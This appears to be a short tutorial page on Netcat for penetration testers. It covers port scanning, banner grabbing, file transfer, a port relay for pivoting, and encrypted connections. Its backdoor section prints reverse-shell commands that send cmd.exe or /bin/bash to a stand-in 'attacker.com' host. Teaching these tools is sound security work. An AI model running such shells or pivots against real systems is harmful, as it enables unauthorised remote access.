OFFENSIVE SECURITY - PENETRATION TESTING - RED TEAMING - ETHICAL HACKING
The ultimate networking utility in every hacker's toolkit
Netcat (nc) is a versatile networking utility for reading from and writing to network connections using TCP or UDP. It's designed to be a reliable back-end tool that can be used directly or driven by other programs and scripts.
Quickly check if specific ports are open on a target system.
nc -zv target.com 20-80
Identify running services by capturing their banners.
nc -v target.com 22
Transfer files between systems without complex protocols.
Create a basic chat server for text communication.
nc -l -p 1234 # Server nc server.com 1234 # Client
Create remote backdoor access to systems (for authorized penetration testing only).
# Listener: nc -l -p 4444 # Target (Windows): nc -e cmd.exe attacker.com 4444 # Target (Linux): nc -e /bin/bash attacker.com 4444
Manually test a web server by crafting HTTP requests.
nc www.example.com 80
Create a simple port relay to bypass network restrictions.
mkfifo /tmp/pipe nc -l -p 8080 < /tmp/pipe | nc target.com 80 > /tmp/pipe
This creates a relay that forwards traffic from port 8080 on your machine to port 80 on target.com, allowing you to pivot through networks.
Use OpenSSL with netcat for encrypted communications.
# Server: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 4433 # Client: openssl s_client -quiet -connect server.com:4433
Click the buttons below to see Netcat in action:
While Netcat is an invaluable tool for legitimate security professionals, it's often flagged by antivirus software due to its potential for misuse. Always ensure you have proper authorisation before using Netcat on any system or network.